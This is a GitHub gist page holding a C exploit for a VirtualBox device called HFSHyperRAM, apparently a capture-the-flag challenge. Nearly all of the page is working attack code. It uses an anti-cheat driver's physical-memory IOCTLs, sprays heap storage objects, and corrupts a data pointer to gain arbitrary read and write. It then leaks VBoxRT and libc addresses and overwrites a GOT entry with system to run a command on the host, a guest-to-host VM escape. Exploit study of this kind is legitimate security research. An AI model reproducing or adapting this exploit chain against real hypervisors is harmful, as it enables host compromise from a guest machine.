Skip to content

Instantly share code, notes, and snippets.

@likvidera
Last active December 18, 2023 08:58
Show Gist options
  • Save likvidera/f557402a6de38821eeb0c416ed17a838 to your computer and use it in GitHub Desktop.
Save likvidera/f557402a6de38821eeb0c416ed17a838 to your computer and use it in GitHub Desktop.
HFSHyperRAM Exploit
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#ifdef __linux__
#include <fcntl.h>
#include <sys/mman.h>
#include <unistd.h>
#endif
#ifdef _WIN32
#include <windows.h>
#endif
#ifdef _WIN32
#define PQWORD PDWORD64
#define QWORD DWORD64
#define IOCTL_IS_CHEATING \
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80000, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_READ_PHYSMEM \
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80001, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_WRITE_PHYSMEM \
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80002, METHOD_BUFFERED, FILE_ANY_ACCESS)
typedef struct _IOCTL_STRUCT {
SIZE_T bufferLen;
ULONG_PTR buffer;
ULONG_PTR addr;
} IOCTL_STRUCT, *PIOCTL_STRUCT;
// Windows-specific functions
HANDLE openDevice() {
return CreateFileA("\\\\.\\HFSAntiCheat", GENERIC_READ | GENERIC_WRITE, 0,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
}
BOOLEAN readPhysMem(HANDLE hDevice, ULONG_PTR addr, PVOID buf, SIZE_T buflen) {
DWORD bytesReturned = 0;
IOCTL_STRUCT ioctlStruct = {0};
ioctlStruct.bufferLen = buflen;
ioctlStruct.buffer = (ULONG_PTR)buf;
ioctlStruct.addr = addr;
return DeviceIoControl(hDevice, IOCTL_READ_PHYSMEM, &ioctlStruct,
sizeof(ioctlStruct), &ioctlStruct, sizeof(ioctlStruct),
&bytesReturned, NULL);
}
BOOLEAN writePhysMem(HANDLE hDevice, ULONG_PTR addr, PVOID buf, SIZE_T buflen) {
DWORD bytesReturned;
IOCTL_STRUCT ioctlStruct = {0};
ioctlStruct.bufferLen = buflen;
ioctlStruct.buffer = (ULONG_PTR)buf;
ioctlStruct.addr = addr;
return DeviceIoControl(hDevice, IOCTL_WRITE_PHYSMEM, &ioctlStruct,
sizeof(ioctlStruct), &ioctlStruct, sizeof(ioctlStruct),
&bytesReturned, NULL);
}
#endif
#ifdef _WIN32
#define TARGET_ADDRESS 0x00000000e4700000
#define HFS_STORAGE_RW 0
#define HFS_CONFIG_KEY_OFFSET 16
#define HFS_CONFIG_BUF_OFFSET 48
#define HFS_CONFIG_MODE_OFFSET 80
#define HFS_CONFIG_BUF_LEN_OFFSET 112
#define HFS_CONFIG_STATUS_OFFSET 144
#define HFS_CONFIG_STORAGE_IDX_OFFSET 176
#define KEY_VALUE 0xfeedfacebeefcafeLL
#define KEY_VALUE_TWO 0xfacefeedcafebabeLL
#define OFFSET_TO_FUNC 0x60
bool setConfigValue(HANDLE hDevice, uint64_t address, uint64_t value) {
if (!writePhysMem(hDevice, address, &value, sizeof(uint64_t))) {
printf("Failed to set config value at address: %llx.\n", address);
CloseHandle(hDevice);
return false;
}
printf("Set config value at address %llx: %llx\n", address, value);
return true;
}
uint64_t getConfigValue(HANDLE hDevice, uint64_t address) {
uint64_t readValue = 0LL;
if (!readPhysMem(hDevice, address, &readValue, sizeof(uint64_t))) {
printf("Failed to read config value from address: %llx.\n", address);
CloseHandle(hDevice);
exit(1);
}
printf("Read config value from address %llx: %llx\n", address, readValue);
return readValue;
}
bool writeToStorage(HANDLE hDevice, uint64_t value) {
if (!writePhysMem(hDevice, TARGET_ADDRESS, &value, sizeof(uint64_t))) {
printf("Failed to write to storage at address: %llx.\n",
(long long unsigned int)TARGET_ADDRESS);
CloseHandle(hDevice);
return false;
}
printf("Written to storage at address %llx: %llx\n",
(long long unsigned int)TARGET_ADDRESS, value);
return true;
}
uint64_t readFromStorage(HANDLE hDevice) {
uint64_t readValue = 0LL;
if (!readPhysMem(hDevice, TARGET_ADDRESS, &readValue, sizeof(uint64_t))) {
printf("Failed to read from storage at address: %llx.\n",
(long long unsigned int)TARGET_ADDRESS);
CloseHandle(hDevice);
exit(1);
}
printf("Read from storage at address %llx: %llx\n",
(long long unsigned int)TARGET_ADDRESS, readValue);
return readValue;
}
void checkMismatch(uint64_t setValue, uint64_t getValue) {
if (setValue != getValue) {
printf("Mismatch in written and read values!\n");
exit(1);
}
}
void dumpState(HANDLE hDevice) {
getConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_KEY_OFFSET);
getConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_BUF_OFFSET);
getConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_MODE_OFFSET);
getConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_BUF_LEN_OFFSET);
getConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_STATUS_OFFSET);
getConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_STORAGE_IDX_OFFSET);
}
void spray(HANDLE hDevice, int num) {
uint64_t targetValue = 0xfacefeedcafebabeLL;
writeToStorage(hDevice, targetValue);
for (int i = 0; i < num; i++) {
setConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_STORAGE_IDX_OFFSET, i);
writeToStorage(hDevice, targetValue);
Sleep(50);
}
}
#define HFS_STORAGE_STRUCT_SIZE 24
#define KEY_MARKER 40
#define BUF_TARGET 48
#define BUF_ID 32
#define EXTRACT_DWORD(val) ((uint32_t)(val))
bool find_target(HANDLE hDevice, int sprays, uint64_t targetValue,
int *target_id, int *corruption_id) {
setConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_BUF_OFFSET,
KEY_MARKER / sizeof(uint64_t));
for (int i = 0; i < sprays; i++) {
setConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_STORAGE_IDX_OFFSET, i);
uint64_t val = readFromStorage(hDevice);
printf("read val %llx\n", val);
if (val == targetValue) {
*target_id = i;
setConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_BUF_OFFSET,
BUF_ID / sizeof(uint64_t));
*corruption_id = EXTRACT_DWORD(readFromStorage(hDevice));
return true;
}
}
return false;
}
// Overwrite the adjacent HFS_STORAGE.data pointer with target
void set_target(HANDLE hDevice, uint64_t target, int target_id) {
setConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_STORAGE_IDX_OFFSET,
target_id);
setConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_BUF_OFFSET,
BUF_TARGET / sizeof(uint64_t));
writeToStorage(hDevice, target);
}
// Overwrite the adjacent HFS_STORAGE.data pointer with target
void arb_write(HANDLE hDevice, uint64_t target, uint64_t val, int target_id,
int corruption_id) {
set_target(hDevice, target, target_id);
setConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_STORAGE_IDX_OFFSET,
corruption_id);
setConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_BUF_OFFSET, 0);
writeToStorage(hDevice, val);
}
void write_string(void *hDevice, uint64_t start_addr, const char *str,
int target_id, int corruption_id) {
const int size = 8; // size of uint64_t
int len = strlen(str) + 1; // +1 for the null terminator
uint64_t buffer;
for (int i = 0; i < len; i += size) {
// Copy at most 8 bytes into the buffer
memcpy(&buffer, str + i, (len - i >= size) ? size : (len - i));
arb_write(hDevice, start_addr + i, buffer, target_id, corruption_id);
}
}
// Overwrite the adjacent HFS_STORAGE.data pointer with target
uint64_t arb_read(HANDLE hDevice, uint64_t target, int target_id,
int corruption_id) {
set_target(hDevice, target, target_id);
setConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_STORAGE_IDX_OFFSET,
corruption_id);
setConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_BUF_OFFSET, 0);
return readFromStorage(hDevice);
}
uint64_t leak_hfsram(HANDLE hDevice, uint64_t val) {
setConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_MODE_OFFSET, 2);
setConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_BUF_OFFSET, val);
uint64_t version = readFromStorage(hDevice);
printf("Version: %llx\n", version);
setConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_BUF_OFFSET, 0);
return version;
}
void windows_pwn() {
printf("Windows PWN\n");
uint64_t targetValue = 0;
HANDLE hDevice = openDevice();
if (hDevice == INVALID_HANDLE_VALUE) {
printf("Failed to open device.\n");
exit(1);
}
uint64_t hfs_rtmemalloc_got_offset = 0x4030;
uint64_t vboxrt_rtmemalloc = 0x1e9910;
uint64_t vboxrt_got_syscall = 0x347b98;
uint64_t libc_system_off = 0x50d60;
uint64_t libc_syscall_off = 0x11ea20;
uint64_t write_offset = 0x4000;
uint64_t vboxrt_base = 0x0;
uint64_t libc_base = 0x0;
uint64_t _ZL7version = 0x2200;
uint64_t _ZL19g_DeviceHFSHyperRAM = 0x3ce0 + OFFSET_TO_FUNC;
uint64_t _ZL20HFSHyperRAMConstructP11PDMDEVINSR3iP8CFGMNODE = 0x1440;
uint64_t hfshyperram_base =
leak_hfsram(hDevice, _ZL19g_DeviceHFSHyperRAM - _ZL7version);
hfshyperram_base -= _ZL20HFSHyperRAMConstructP11PDMDEVINSR3iP8CFGMNODE;
printf("HFSHyperRAM base: %llx\n", hfshyperram_base);
targetValue = KEY_VALUE;
int sprays = 10;
// dumpState(hDevice);
setConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_KEY_OFFSET, targetValue);
setConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_MODE_OFFSET, 1);
setConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_BUF_LEN_OFFSET,
HFS_STORAGE_STRUCT_SIZE);
// setConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_STORAGE_IDX_OFFSET, 0);
spray(hDevice, sprays);
int corruption_id = 0;
int target_id = 0;
if (!find_target(hDevice, sprays, targetValue, &target_id, &corruption_id)) {
printf("failed to find the target!\n");
CloseHandle(hDevice);
return;
}
printf("Found storage target! target_id: %d, corruption_id: %d\n", target_id,
corruption_id);
const char cmd[] = "flag\0\0\0\0";
write_offset += hfshyperram_base;
// write command to an address
write_string(hDevice, write_offset, cmd, target_id, corruption_id);
// resolve libc.system
hfs_rtmemalloc_got_offset += hfshyperram_base;
uint64_t vbox_rt_leak =
arb_read(hDevice, hfs_rtmemalloc_got_offset, target_id, corruption_id);
printf("vbox_rt_leak: %llx\n", vbox_rt_leak);
vboxrt_base = vbox_rt_leak - vboxrt_rtmemalloc;
printf("vbox_rt_base: %llx\n", vboxrt_base);
vboxrt_got_syscall += vboxrt_base;
uint64_t libc_leak =
arb_read(hDevice, vboxrt_got_syscall, target_id, corruption_id);
printf("libc leak: %llx\n", libc_leak);
libc_base = libc_leak - libc_syscall_off;
libc_system_off += libc_base;
printf("libc base: %llx\n", libc_base);
printf("libc.system: %llx\n", libc_system_off);
// dso_handle leaks hfs base
// overwrite hfshyperram.got.plt.RTMemAllocTag with libc.system
arb_write(hDevice, hfs_rtmemalloc_got_offset, libc_system_off, target_id,
corruption_id);
// Setup and trigger
// set LEN to string_target, so the address containing the cmd gets passed to
// system
setConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_BUF_LEN_OFFSET,
write_offset);
// set a high offset to ensure RTMemAllocTag gets triggered
setConfigValue(hDevice, TARGET_ADDRESS + HFS_CONFIG_STORAGE_IDX_OFFSET, 30);
// trigger
writeToStorage(hDevice, write_offset);
// dumpState(hDevice);
CloseHandle(hDevice);
}
#endif
int main() {
#ifdef _WIN32
windows_pwn();
#endif
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment